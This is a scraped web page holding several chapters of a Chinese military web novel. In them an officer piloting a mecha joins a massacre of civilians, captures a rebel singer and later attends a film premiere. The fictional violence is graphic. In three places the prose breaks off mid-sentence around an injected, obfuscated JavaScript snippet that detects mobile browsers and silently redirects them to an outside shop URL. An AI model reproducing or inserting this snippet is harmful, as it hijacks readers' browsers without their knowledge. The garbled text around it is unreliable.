“殷肆要活抓,这次行动我要这群蝼蚁彻底消失。” 会面结束后,苍恃和杜山还有细节要商议,他们走在宫殿的内部,深夜的宫殿静悄悄的,巡逻的卫兵给这两名军官敬礼后才继续履行自己的职责。 “这次任务不容易。”杜山点了根香烟,他话里有话,苍恃也听明白了。 “我会完成的。”苍恃没有犹豫,他见过炼狱,也曾亲手制造过炼狱。 杜山的脚步停了下来,他把烟雾吐到一旁,灰色的眼睛里充满对苍恃的质疑,他直勾勾地盯着苍恃,试图透过他的双眼看到些什么。 “事成之后你会升到我的位置。”杜山顿了一下,“我没有忘记你当初加入我的小队时立下的誓言。” “我将用战绩诠释我的忠诚。”苍恃没有犹豫。 杜山露出了个微笑,意味不明,但起码没有恶意,他把烟头扔到一边,用鞋底来回碾了几次。 “你脸上怎么老有伤,这张脸是惹了什么人吗?”杜山转移了话题,苍恃也想不明白,这两兄妹一人一拳属实是把他左右脸都打了一遍。 他们又继续走向护卫队的专用办公室,办公室被设置在宫殿的地底,因为任务的保密性,除了护卫队成员外没人知道办公室的具体地点,内里有着一应俱全的设备,为了长期的秘密工作还设有休息区,而这办公室也直接通向大殿,只不过没有皇帝的同意的话,他们也不被允许直接从大殿前往办公室。 平时杜山就住在休息区里,他没有购置房子,也没有接受皇帝的赠礼,他就像一个幽灵,在夜晚守护着这偌大的宫殿,成为皇帝最得力的助手。 他虽军衔至上校,却朴素得和这里巡逻的卫兵别无二致。 杜山没有提起,但苍恃知道他在此事之后将会升至少将,但他和宁少将不同,宁少将在得知槐翎出逃后依旧不死心,甚至私自调动卫兵,激怒了皇帝,落得一个被暗中清算的下场。而杜山将成为超越宁少将的存在。 月光照亮了庭院,些许光芒洒在他们前进的道路上。 在种满茶树的花园里,几名侍女围绕着一名女性,她无力地瘫坐在长椅上,夏天的夜里还有些凉风,风拂过盖在她脸上的面纱,露出一张无神的脸。 侍女为她梳头,整理裙摆,又为她按摩四肢,却安静得没能发出一丝声音。 杜山看了一眼,并不在意那里发生了什么。 而在他身后的苍恃却张了张嘴,想要说话又咽了回去,他清楚看到了那张无暇的脸,她的长发,在月光下她漂亮得像是个女神。 苍恃握紧了拳头,眼睛被那副美好又虚幻的画面一灼,再也没有了窥探的勇气,因为他和槐雾一样,都是十足的懦夫。 44. 第 44 章 破晓时分,数不清的运输机与战斗机从A区和B区的空中起飞,引擎轰鸣着,吵醒了还在沉睡中的人民,然而没有任何警告,也没有避难的要求,网络上涌现了无数猜测,有人问是不是又有战争了,也有人对即将到来的破坏感到兴奋不已。 最后他们看着那代表着死亡的队伍向外缘的E区飞去,紧接着的是数不清的轰炸,投掷下来的炸弹在土地上炸开了一朵朵花。 这场轰炸会持续很久。 苍恃换上驾驶泰坦的制服,他带领的突击小队将会跟在轰炸之后,而杜山则是在后方指挥,在这样的攻击安排下,一天之内就能完成皇帝的任务。 只不过现在队内士气并不高。 泰坦已经全部运输到运输机内,只待驾驶员就位即可出发,和过去的行动不同,现在的他们是要冲着自己国家的群众而去。 约定的时间已到,几乎所有的驾驶员都就位,他们坐在运输机内,系上安全带,没有人说话,但每个人身上的表情都统一流露出了沉重。 他们恐怕都在想同样的问题。 “这样是正确的吗?” 但是作为军-人,他们没有拒绝的权力。 “α小队,出发。”机内的语音结束后,所有人都能明确感受到运输机的启动,紧接着逐渐升空,被禁锢的泰坦是无情的工具,它们所踏上的每一片土地都沐浴在鲜血之中。 有些人开始了惯例的祈祷,祈求平安,祈求顺利,同时也祈求再无战争。 高速飞行的运输机有着惊人的速度,两个小时后突击小队到达了D区边缘,所有驾驶员也在此刻解开了泰坦的束缚,在运输机内,一个接着一个泰坦被开启,泰坦背后的引擎也发出轰鸣。 “预计十秒后抵达——α小队开始下降。”舱门被打开,强风卷了进来,苍恃驾驶泰坦站在最前面,泰坦的一切参数正常,武器也进行了补给,是最适合进行战斗的状态。 “苍恃,代号001-2,开始下降。”他抬手解除了固定装置,庞大的泰坦即刻滑落,“降落地点为C点,预测无误。” 泰坦正在急速地下坠,苍恃透过全周显示能看到还有数不清的和他一样的泰坦正拿着武器降落,这个模样是那么的震撼、不真实、让人肾上腺素飙升。 黑压压的一片泰坦降落在E区的土地之上,几乎是在落地的一瞬间,泰坦就开始了这场单方面的虐杀。 硕大的弹壳掉在地上,足以压碎一个逃命的路人的身体,街道已经变成了一片废墟,火焰正在每个角落燃烧,灰烬被风卷着迷住了人的眼睛,泰坦小队依照队形开始了清扫行动。 只要是还活着的,都统统被泰坦所瞄准,热能扫描仪能看到躲藏在建筑物的人,于是他们直接开枪,看着一栋栋楼倒塌,压死还藏在里面的人,也有人拿起武器进行反抗,但和正规的军队相比,这些也不过是垂死挣扎。 泰坦所到之处,都带来了腥风血雨,在泰坦内部听不见人们的哭声、尖叫声、还有他们为了活命而发出的哀求,在驾驶员的头盔里,只有后方指挥部里的命令。 “前进,摧毁,前进,摧毁,前进,摧毁。” 命令是如此下达的。 数百架泰坦呈统一推进之势,机械式地重复动作,就连换弹的动作也是一致的,在一次又一次的轰炸中,再也看不见原来的E区了。 “苍恃,去找到目标,务必要活捉。” “了解。”苍恃脱离了队伍,在这样的战场里要找到一个人并不容易,更别说他很有可能已经死在了上一次的轰炸之中,但是命令就是命令,除非是找到殷肆的尸体,否则任务都必须要继续下去。 殷肆的照片出现在屏幕的边缘,苍恃之前对娱乐新闻没什么兴趣,但在见过真人后,他头一次觉得这个人确实不怎么上相,殷肆的本人还要好看些。 竞技场就是反抗军的大本营,他们借由里面的赌-博抽成不少,这笔钱足够支撑竞技场的运作,再加上殷肆的收入,即使经过多家公司洗-钱,洗完之后依旧有大批现金流入竞技场,也正是这笔钱滋养了反抗军,让他们能够购买军火,笼络群众,开展各种活动。 苍恃直觉殷肆此时就在竞技场,他还记得竞技场的方向,于是迅速往竞技场赶去。军用泰坦的出力要更强一些,他又尽量地压缩了时间,就算是火力为主的重型泰坦也能在短时间内到达目的地。 轰炸已经把竞技场摧毁了一半,另外一半还在摇摇欲坠,他看着竞技场,竟然想起来了五年前他第一次来到这里的场景。 他是满怀着绝望,带着赴死的决心才来到这里的。 没想到这个举动改变了他一生,如今看到竞技场这个模样,他心里出乎意料的平静。 恨意、痛苦、悲伤都没有,心里只觉得空荡荡的。 重型泰坦落在地面上,肉眼可见在竞技场的下方,走出来几个破破烂烂的泰坦,所有装备都是拼凑而来的,有些泰坦还煞有其事地涂上图案,然而一眼看去就能它们的极限在哪,尽管如此他们还是站了出来。 苍恃一下就明白了,这是那些猴子的泰坦,驾驶泰坦并且直面他就等同于反抗,他了然于心,解开了武器的锁定。 他们之间的对决根本不需要开场白,也不需要多余的话语。 苍恃就这么站在原地。他还记得当初斩杀邻国将领的触感,那个人驾驶着庞大的泰坦,说不定技术水平还要更高些,那将领开着舱门,呐喊着,子弹追着苍恃的泰坦而去,却在下一刻被苍恃的光束刀斩断了武器,光束刀的热能擦过将领的身体,只是瞬间就把他化成了灰烬。 而他的尖叫声跟梦魇一样时时出现在苍恃的梦境里。 猴子们一拥而上,他们向来没什么战术,更不会团队合作,根本不足为惧,苍恃轻松地用头部的火炮破开了其中一个猴子的身体,他的泰坦破破烂烂的,引擎也不稳定,只是稍微破坏就炸成了一堆碎片。 至于其他的猴子,苍恃用光束刀切开他们的身体,这些没有经过专门的驾驶员,能把泰坦开起来已经胜过这世上90%的人,还想真正投入实战基本不太可能,这样的驾驶员在战场不出两分钟就会死亡。 比如现在,苍恃看着在自己身边炸开的泰坦,绚烂得如同夜空的烟花,被破坏的泰坦没有任何价值,火焰在装甲上燃烧,那些画满了荣耀的图案也失去了意义,鲜血从驾驶舱内流出,染红了被烧黑了的装甲。 他等待了好一会,发现再也没有泰坦从竞技场内走出,不禁疑惑他们为什么要这么做。 竞技场周围静悄悄的,苍恃摘下头盔,战争的喧嚣充斥他的耳朵,指令的声音有了短暂的停歇,他取下一把手枪,在锁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13529200|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定了泰坦后只身一人走了进去。 原本华丽繁复的装饰已经被破坏了个彻底,只有地面露出的一角红地毯还能看出些过去的影子,水晶吊灯掉了下来,碎了一地的残渣,走上去的时候还会发出嘎吱嘎吱的声音。 竞技场内静悄悄的,没有活人的踪影。 苍恃举着武器,警戒地四处观察,他走过观众席,又走过内部的大楼,最终停在了看上去还算完好的VIP室前。 他碰了一下把手,不烫,看来里面没有起火。 这个VIP室一点事情都没有,怎么看都不太正常,好像就是为了他的到来而准备好的一样。 苍恃没有犹豫便直接推开了房门,在熟悉的房间里,殷肆正坐在中央的沙发上,显然已经等了他一段时间。 他穿着简单朴素,和电视上熠熠生辉的模样大相径庭,或许是看到了外面的景色,他的表情里满是悲伤。 “是要抓我是吗?”他是个聪明人,直接走上前来伸出双手。 苍恃打量了他,确认没有威胁后,为他戴上了电子手铐。 电子手铐一戴上,后方就得知了已经捕获殷肆的消息。 “既然我已经被捕,是否可以停下对E区的轰炸了呢?”殷肆跟在苍恃的身后,他依依不舍地把竞技场内的景色收入眼底,像是要用力记住这里的每一处细节,他眼睛通红,眼角似有湿润。 “不可能。”苍恃斩钉截铁地回答。 殷肆的心凉了半截,不过他早就该知道的,现在的皇帝杀伐果断,最恨兴风作浪的人,更别提反抗他的人。 “是你让那些人保护你的?”苍恃问,殷肆稍微愣了一下,而后迅速反应过来他问的是那些驾驶泰坦的猴子。 “不是。”他摇头,眼里只剩下悲凉,“他们不过是想用这种方式表达对皇帝的不满罢了。” 皇帝是看不见的。苍恃没有说出这句话,他比谁都要明白,他们的挣扎与牺牲都是毫无意义的,站在最前线的战士和机器没有不同,他们的情绪根本不会被正视,等到加官进爵的时候,又有谁会在意有什么人付出生命了呢。 像这样的战争机器还能制造很多出来,多得足够踏平这个星球的每一个角落。 杜山已经调度了一架直升机过来,苍恃押着殷肆往外面的走去,殷肆悄悄打量他的脸,在经过了长久的思考后,他终于问出了最想问的问题。 “阿翎她,还好吗?” 苍恃微微一怔,他感觉自己的喉咙像是哽住了,连说话都变得如此艰难。 也就在他走神的那一瞬间,一个人手拿着匕首从角落扑了过来,他的动作很笨拙,在扑过来的瞬间,苍恃清楚听到他嘴里喊着的话语。 “去死吧皇帝的走狗!” 刀尖差点就要碰到苍恃的胸膛,他在那一刹那把手枪-枪口调转过去,就着袭击者的下巴扣下扳机,袭击者的头部被击碎,温热的脑浆和血液喷了出来,淋了二人一身。 袭击者的身躯软软地倒在一边,殷肆在这么近距离之下看到一个人被爆头而死,惊得膝盖一软,如果不是苍恃扶了他一把就差点要跪下去,他的脸瞬间没了血色,嘴唇也变得苍白,他嗫嚅着,声音小得没有人能听见。 苍恃不怎么在意,他擦去将要流进眼睛的血液,就这么带着一身血液走了出去。 45. 第 45 章 直升机在战火中穿梭,殷肆被锁在中间的座位上,他伸长了脖子去看外面的画面,目光所及之处只有一片猩红。 他原是不忍去看,但迫切地想要记住这个画面,于是他流着眼泪,咬紧下唇去强迫自己看向外面,似是要将看到的一切都印刻在眼球上。 苍恃回到自己的泰坦,他简单擦去脸上的血,清扫E区的任务还未完成,他即刻就得投身到战场里去。 他重新加入小队,和他们一样击杀能看到的一切活物,无论性别,无论年龄,就算是残疾的老人,就算是刚刚下地行走的幼儿,都在火焰中被击碎成为肉渣。 “前进,摧毁,前进,摧毁,前进,摧毁。” 头盔里的声音不断重复。 “装填,瞄准,发射,命中。” 泰坦的动作不断重复。 在头盔之外,是逐渐微弱的尖叫,是逐渐逝去的生命。 清扫持续到傍晚,太阳即将落下,E区终于平静了。 运输机把过热的泰坦装载起来,天空里是数不清的运输机,黑压压的一片快要遮住落日。 运输机内的每一名驾驶员都一脸疲惫与麻木,他们垂头丧气地坐在自己的座位上,沉默在运输机内蔓延。 苍恃有些累了,他闭眼小憩片刻。 皇帝的走狗,这句话倒是没说错。 * 运输机在各个区内分散,苍恃和杜山在军营内重逢,看着一身血的苍恃,杜山还是有些惊讶的。 “不是我的。”苍恃解释,杜山这才露出笑容,他拍了拍苍恃的肩膀。 “虽然很想让你先回去洗一下,不过皇帝想见我们。” 苍恃没有片刻的耽误,他跟着杜山上了前往宫殿的车,就着车内的纸巾擦了手和脸,不过身上的血腥味没有丝毫减轻。 宫殿内的侍女和卫兵在看到二人时都未敢直视,他们匆忙经过,又在快要离开时回头偷看。 等来到大殿的时候,里面已经有客人了。 殷肆双手背在身后,跪在大殿的中央,他深深地低着头,身上还带着沾染到的血迹。 不知道皇帝和殷肆有过怎样的对话,反正气氛不怎么愉快,直到二人的到来才有了些许改变。 苍恃和杜山跪下行礼,殷肆频频扭头看他们,眼神里满是愤怒与不甘,但以他如今的模样来看这份愤怒显得并不重要。 “这次任务你们做得很好。”皇帝如此说道,杜山拍了拍苍恃的背,让他跟着一起向皇帝道谢。 “这个人犯了叛国罪,先关进大牢吧。”皇帝似乎不想再看到殷肆,就这么挥挥手让人把殷肆拖走。 殷肆没有反抗,他颤颤巍巍地站了起来,跟着旁边的卫兵离开了大殿。 “陛下打算怎么处置他?”杜山主动问道,槐迩没有回答,他沉默了好一会,似是在思考。 “属下认为,尽早执行死刑更好。”他又补充了一句。 槐迩还是没有说话,他坐在在帷幕后的皇位上,让人看不清他的表情。 “苍恃,我送你的礼物你喜欢吗?”几分钟后,他突然转移了话题。 被唐突点到名字的苍恃马上回过神来,皇帝指的礼物恐怕就是温蓓了,虽然不知道为什么他会在此时突然提到温蓓,但很显然苍恃没有说不的权力。 “她很好。”苍恃只好如此说道。 槐迩轻声笑了,这笑声带了几分阴森,苍恃感觉到背后出了一身冷汗。 如果他说不喜欢的话,温蓓马上就会消失了吧。 后来皇帝又询问了些细节,从语气里听出来他的心情还不错,看样子没有被殷肆所影响,按照之前杜山所说的情报,苍恃也得到了自己将升为上校的承诺。 再过几天会有一场仪式,给在本次E区作战中表现突出的战士荣耀,作为战士来说,这应该就是人生中的高光时刻了。 离开大殿后,苍恃还是有着不真实的感觉。 在短短五年,他就成为了上校,距离权力的天花板触手可及,可是他心里却没有什么波动。 他是应该高兴的。 杜山比较累,先和苍恃分开了,他也得回去自己的家里收拾下自己,总不能天天都在宫殿里面。 而苍恃则是没有急着离开,他几乎是下意识地就往庭院走去。 在去往庭院的路上,能听见卫兵和侍女的对话,他们声音压得很低,但仔细一听还是能听到些端倪。 “真是可怕啊……就算是E区也不应该被这样对待吧?” “你们听到那个人说的话了吗?他不承认皇帝的存在!真是大逆不道。” “但是他也说了自己对皇位没兴趣,这样的人到底是在想什么啊?” “反正都是借口吧,真的会有人不想要成为皇帝吗?” “嘘,你小声一点……” “我侄女很喜欢他的,可惜了……以后应该听不到他的歌了。” “话说回来你们看到少校了吗?一身血真吓人,他那表情也是……” “人家都要升到上校了!以后话可不能随便乱说。” 苍恃没再继续听下去,对于外人的评价他已经不在意了,走了几百米后他终于到达了庭院,不过和之前不一样的是,庭院里一个人都没有。 周围静悄悄的,只有昆虫在发出声音,昭示着夏天的到来。 他来到庭院中心,那张椅子上空无一物,但仔细一听的话,还能在听到女性的声音在不远处传来。 他又循着声音跟了过去,在庭院的角落里,有一人工湖,湖面飘着掉落下来的花瓣,在人工湖旁边果真出现了苍恃正在寻找的人。 她安静地坐在湖边,因为是夏天,她穿得比之前要清凉些,露出了漂亮的背部。 好几个侍女围在她身边,可能是知道她不能说话,也不能行动,于是闲聊的声音也比平日里大了些。 “听说了吗?E区已经变成废墟了。” “是啊,真是太可怕了,以后会不会D区也变成这样?” “我家人还在D区……如果他们出什么事了,我也不想活了。” “你傻啊,好不容易能来宫殿工作了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13544227|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你倒不如想想要不要攀附个家族吧,只要能留在这里就是一辈子的荣华富贵呢!” “人家能看得上我吗?而且就算轮到我也是当情人的份呢。” “还是温蓓命好,之前就经常在宫殿里出入,现在还攀上少校了,少校好像背后没什么大家族吧?而且样子也好……” “你疯了?没看到他回来的样子吗?那身血要洗好久才洗得干净!” 苍恃听得一清二楚,他低头看了自己的手,上面还留有血渍,不管怎么擦都擦不干净,于是他没有再往前,只是在后方静静看着。 她的头发在风中轻轻摇曳,在月光下直让人觉得不可亵渎,侍女的话语或许真的被她听进去了一些,她的手指稍稍颤动了下,但也在那一瞬间再也捕捉不到。 苍恃突然有些想要与她对话的冲动,要是让她知道了,她一定会用带着不屑的语气嘲讽自己吧。 他想听到她的声音,就算只是责备也好,那至少能让苍恃感觉到些许还活着的实感。 但是现在他这副模样,又有谁想和他说话呢? 他这双手杀过太多人,是无论怎么洗都洗不干净了,带着腥臭过去,只会让大家都觉得他恶心吧。 他站在原地看了好一会,夏虫的声音络绎不绝,侍女的声音也渐渐小了下来,可能是时间到了,她们开始收拾东西离开。 侍女们合力把槐翎放到轮椅上,她们有说有笑地往槐翎的房间走去。 “她的药物你别忘记拿,要是让杜上校知道你丢三落四就麻烦了!” “知道了,你别喊那么大声。” “杜上校是不是也要晋升了呀,要不我们考虑一下杜上校?” “他比少校还可怕,你快别想了……” 苍恃这才从另一条路走开,他没有回公寓,而是来到了宫殿内隐藏着的休息室,休息室的装潢很简朴,其中一个床铺是杜山一直在用的,他的个人物品还放在上面,另一个床铺干干净净的,没有使用过的痕迹。 他花了很长时间去清洗自己,指甲缝、毛发、毛孔都一一清洗干净,直到再也看不见一丝猩红。 直至深夜,他才躺在那张有点简陋的床铺上,虽然和公寓里柔软的床没办法比,但他却在这里体会到了久违的放松。 他蜷缩着,把身体都包裹在毛毯里,明明已经彻底洗过,鼻间却总能闻到一丝若有若无的血腥味。 就在他快要因为疲劳而睡过去时,对外用的手机亮了一下,他拿起手机,看到是温蓓发来的信息。 “恭喜晋升上校!” 他轻轻放下手机,又闭紧双眼,没有回复温蓓的信息。 “我是第一个来跟你祝贺的人吗?” “上校,明天有工作安排吗?” “如果没有的话,我们一起出去看电影怎么样?最近新上了个电影很受欢迎,我觉得你应该会喜欢的。” “对不起,我太兴奋了才会在晚上给你发那么多消息,你要好好休息哦,这几天一定很辛苦吧。” 在这之后,手机屏幕终于暗了下来。 46. 第 46 章 B区最大的电影院因为设备的优秀和舒适的座椅吸引了不少客人,有不少来自A区的居民也会前往B区观影。 又因为这个电影院时常有明星拜访,如今已经变成了热门地点,渐渐就演变成一票难求的顶尖电影院。 今天是知名导演时隔十年再复出作品的首映式,主题虽是凄美动人的爱情故事,但也依旧吸引了一众粉丝,在首映式开始前的两个小时,通往电影院的道路就已经被队伍堵了起来。 苍恃还是第一次看到这样夸张的画面,排队的队伍好似永远没有尽头,电影院外额外增派的工作人员也忙得焦头烂额,肉眼可见他们的衬衫都被打湿了。 门票是温蓓买的,听说要买这门票是要准时去抢的,能不能抢到还得看运气,也有人开出十倍的价格收购门票,可见这个门票有多珍贵。 不过苍恃和温蓓不用担心排队这件事。 他带上温蓓,二人直接往队伍的最前面走去,因为旁边的特殊通道只有他们两个人在走,旁边还在排队的人都有些好奇地看向他们,B区的圈子不大,多数是艺人、企业家、商人、科学家等,因此一张陌生的脸足够引起讨论,不过只要用脑子稍微一想,就能知道这些陌生人来自更高级的A区。 在绝对的阶层压制之前,就算他们拥有再多的财富也只能乖乖认栽。 不过还是有胆子大的偷偷拍下他的照片,A区的人物或多或少都上过新闻,只要仔细找找总能找到些蛛丝马迹。 苍恃直接找到管理进场的工作人员,他先是出示了自己的门票,然后等待安排就行了,工作人员看到上面的最高级别字眼,又看了眼两个人的脸,不敢马上做出决定,他呼叫了经理过来,等了两分钟后一个穿着西装的男性气喘吁吁地跑了过来。 “请出示下身份卡。”经理对这些流程很是熟悉,但在看到两张明明白白写了A区的身份卡时,手还是不可控制地抖了一下。 他又找来另外一个小伙子,让他把两个客人尽快带去包厢。 后面排队的人都盯着看到发生了什么,不过他们不敢有什么怨言,只暗暗吞下所有的不满,谁让人家是A区的人呢,包厢的票都是可遇不可求的。 温蓓一点也不介意别人怎么想,她自然地挽上苍恃的手臂,跟着他一起进入了包厢,这个位置视野最好,能看到台上的演员,也能很好地看到大屏幕。 五分钟后首映式正式开始,导演和主演都来到台上打招呼,台下的粉丝很是狂热,顿时引来一阵欢呼。 苍恃不认识这些人,他安静地坐在自己的位置上,旁边的工作人员递来了鸡尾酒和零食,他并未接过。 温蓓则是拿着一杯鸡尾酒小小喝了两口,她心情很好,全身心都投入在导演的演讲里去,因为情绪激动,脸蛋都变得红彤彤的。 导演简单讲述了这部电影的主题思想,又谈了自己的灵感来源,都是真实的故事,并且剧本也是自己花了很多心思去修改的,成功调动了观众的情绪。 主演也各自说了自己的心得体会,被邀请而来的媒体记者也适时问了些观众在意的问题,比如说拍摄期间有没有什么趣事,主演之间的交流如何。 也有幸运的观众被请到台前和演员导演一起合照,温蓓倒是不用担心这一点,以他们的身份,这些导演演员是要主动来到他们的包厢打招呼的。 电影终于开始了,苍恃躺在舒适的椅子上,他其实对电影不怎么感兴趣,但总不能就这么睡过去,于是他只是看着画面,全然没有理解到电影的内容。 在昏暗的包厢里,温蓓偷偷打量了苍恃好几次,他们之间只隔着一个小桌子,这个时候的气氛很适合拉近二人之间的距离,她思考了好久,终于下定决心主动出击。趁着银幕上的男女主人公紧紧拥抱时,她悄悄伸出了自己的手,她不是没有过亲密接触,但此时她感觉自己的心脏跳动得都要超出她控制的范围,温蓓小心地吞了吞唾沫,耳边是自己的心跳声,如今眼里只有那只放在扶手上修长又白皙的手。 就在她的指尖马上要触碰到苍恃的手时,他似是察觉到了温蓓的意图,不着痕迹地把手收回,温蓓甚至连他的手背都没有碰到,她震惊地抬头看苍恃,苍恃却像什么都没有发生,只平静地看向银幕。 因为羞愧,温蓓的脸几乎都要烧起来了,她自恃自己外貌好,只要是想要勾到的男人就没几个会拒绝,连槐雾这样身份的人都不会拒绝她,怎么这个苍恃就那么难搞呢? 她忽地想起来那天宴会时,苍恃那奇怪的表现,那天遇到的人有祝译,还有被控制了的槐翎。 祝译虽然有点奇怪,但槐翎的可能性更高。 温蓓认为自己除了家世比不上槐翎,其他都能和槐翎比一比,不过现在槐翎都变成皇帝的人了,难道苍恃还想和皇帝争吗? 屏幕里突然出现了殷肆的脸,原来他在这个电影里有客串,戏份虽然不多只有几分钟,但温蓓很快从低落的情绪中恢复过来,全部的注意力都被殷肆吸引,她红着脸去记住殷肆的每一个镜头,激动得就差要尖叫出来。 台下的观众也跟她有差不多的反应,有些人没控制好直接叫了出来,不过幸好大家都比较包容,于是也就随便他们了。 苍恃是没想到殷肆的人气怎么高,他开始有些担心如果殷肆的粉丝知道殷肆会被执行死刑该是怎样的疯狂。 电影的结尾男女主幸福地生活在一起,他们的阻碍也彻底消失了,不少观众都因为这可以用缠绵悱恻的剧情而流下了眼泪,温蓓也是其中一员,她哭得说不出话来,旁边都累积了一堆纸巾团。 苍恃实在是不明白里面的情感,要是喜欢的话直接说出来就好了,哪来那么多误会,说到底还是没长嘴的错。 电影结束后,导演和演员果真来了包厢,温蓓还沉浸在电影的世界里,抹着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555904|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼泪去和他们诉说自己的观后感,苍恃站在旁边,近距离打量着几位主演。 他打从心底觉得,这些人都没有殷肆好看。其中一名女演员注意到他的打量,大大咧咧地向他打招呼,一个来自A区的年轻男性,虽然身份不明,但从衣着和气质来看恐怕不是什么简单的人物,女演员的笑容更甚,她往前走了两步想要主动和他搭话。 温蓓却在此时注意到了不对,她立马走过来贴着苍恃的手臂,女演员注意到她的暗示后只能灰溜溜地收回将要伸出去的手。 这场小插曲很快就过去了,温蓓挨个找演员要了签名,可惜的是殷肆不在这里,她还真的问了出口。 导演也不知道殷肆在哪,不过按理说客串演员也不太可能参加活动,温蓓也没放在心上。 活动结束,二人根据指引往外面走去,也就在这时,苍恃注意到了前面有个略显熟悉的背影,他也在这一瞬间鬼使神差地叫出了她的名字。 “祝译。” 祝译诧异地转过身来,她今天精心打扮了一番,没有了之前宴会时那颓废的模样,而在她旁边则是站着一位温文尔雅的年轻男性,看着大约在三十岁左右,他嘴角上扬,原本是在耐心地听祝译说话,在祝译回头的时候他也跟着回头了。 他们的动作很亲密,怎么看都是正在热恋期。 温蓓看着他们的身体虽没紧贴,但距离很近,下意识看了苍恃一眼,苍恃除了有些惊讶之外也没多余的反应,看来可以那个人排除是祝译了。 “你也在这里,是来看首映式吗?”祝译极为放松地向苍恃搭话,苍恃点头,祝译身边的男性安安静静的,没有擅自出声打断他们的对话。 “这位是?”苍恃看向男性。 “纪栖,他是一名医生。”祝译说道,说完她满脸喜悦地看着纪栖,整个人从内向外都透露出开心的信号。 “我是苍恃。”苍恃主动伸手,纪栖也不扭捏地完成了握手,这下算是认识了。 “这位是温蓓。”他顿了一下,“是我的朋友。” 祝译有些意外,但并未直说,“这部电影真的很精彩,我现在都感觉还有点走不出里面的情绪。”她迅速地转移了话题,这个话题果真吸引了温蓓,温蓓马上就跟着说出自己的观后感。 见两名女性很快就混熟了聊得热火朝天,苍恃和纪栖都只能站在旁边看着自己的同伴,苍恃在纪栖身上没感觉到什么的情绪,他看上去是一个温和的人,周身散发着一副好好先生的气息,纪栖注意到苍恃在打量自己,也只是主动露出一个人畜无害的笑容。 “我们不要站在这里了,要不要一起去吃个饭?”祝译率先提出建议,温蓓意识到这是一个好信号,马上就答应了下来。 说完后祝译看向纪栖,两个人不用说什么就心意相通,纪栖无奈地答应了,又颇为宠溺地看着祝译的侧脸,苍恃见状也只好跟着同意了。 47. 第 47 章 温蓓原本就有预约B区热门餐厅的位置,餐厅很爽快地答应了增加顾客的要求。 等到四个人到达餐厅时,餐厅已经准备好了专用房间,在这里能看到B区最漂亮的景色——一条横跨宽敞河流的桥梁,是B区的标志性建筑物,等到夕阳西下的时候,太阳会看似落在桥梁的中心,而河流也会被染成一片橘色,这景色别有一番风味。 祝译本来就是B区长大的人,她早就看过这样的景色很多次,不过温蓓倒是挺开心的,拿出手机拍了多角度的照片,祝译还指导她哪个方向去拍最好看,两个人相处得异常和谐。 “你朋友很活泼。”纪栖主动向苍恃搭话,他似乎也不是第一次来,坐在椅子上很是自在,苍恃刚刚就一直在思考纪栖是在A区哪里,但一直没能想起来他的身份,后来渐渐也猜出来了,纪栖很有可能是B区人。 “她性格挺好的。”苍恃这句话倒是真心话,他是以朋友身份如此评价的。 “你们交往多久了?”苍恃又追问道。 这个问题足够直接,带了些审问的味道,纪栖先是一愣,而后面上有些尴尬,他压低了声音用着只有两个人才能听到的音量说:“其实我们还没确定关系……” 苍恃顿时明白过来了,现在应该就是暧昧期吧,而两个人还没捅破窗户纸,不过按照这两个人之间的气氛来看,确定关系也就近期的事。 “我们两个有戏?”纪栖的耳朵红红的,他小心地看了眼窗边的祝译,确定她没注意到才问。 “有。”苍恃老实地说出自己的判断,“你是B区人?” “嗯。”纪栖也不隐瞒。 “啊?那你们是怎么认识的?”温蓓这耳朵灵得有些可怕,她瞬间抓住了关键词,强势地加入了二人的对话,引得祝译也看了过来。 “哎呀,这真是……”纪栖挠了挠头,显然不太愿意说出自己的事情,不过在看到祝译那充满期盼的眼神时,他还是鼓起勇气说了出来。 “之前在一次会议时,碰巧撞见到来公干的祝译,于是我要了她联系方式了,我们就这样认识的。” “哦——”温蓓拉长了尾音,让这两个人本就暧昧的关系更深一层,“纪医生确实看上去一表人才,我要是祝译也不会拒绝。” 祝译和纪栖对视了一眼,都极快地避开了对方的目光。 美食很快被送了上来,在温蓓的带动下,整顿饭的气氛都很放松,苍恃也难得露出了些笑容,两瓶红酒下去之后,祝译和纪栖也没了一开始的拘谨,不过看完电影都过去几个小时了,她们还记得电影里的台词,甚至当场就演了起来。 “你难道不懂我的心意吗?对你来说,我的隐忍都是为了我的家族吗?” “我明白,正是因为我明白,我才不得不拒绝你的心意。” “我是这么的爱你,我愿意付出生命去爱你。” “我不是你想象中那样完美的人,你爱的不过是你投射在我身上的幻象罢了。” 担当了女主角的温蓓几乎立刻就进入了角色,而担当男主角的祝译为了接上她的戏,连动作都还原了,看着在窗边紧紧相拥的二人,两名男性也不约而同地露出几分无可奈何地笑容。 这顿饭持续了很久,到了深夜才结束。 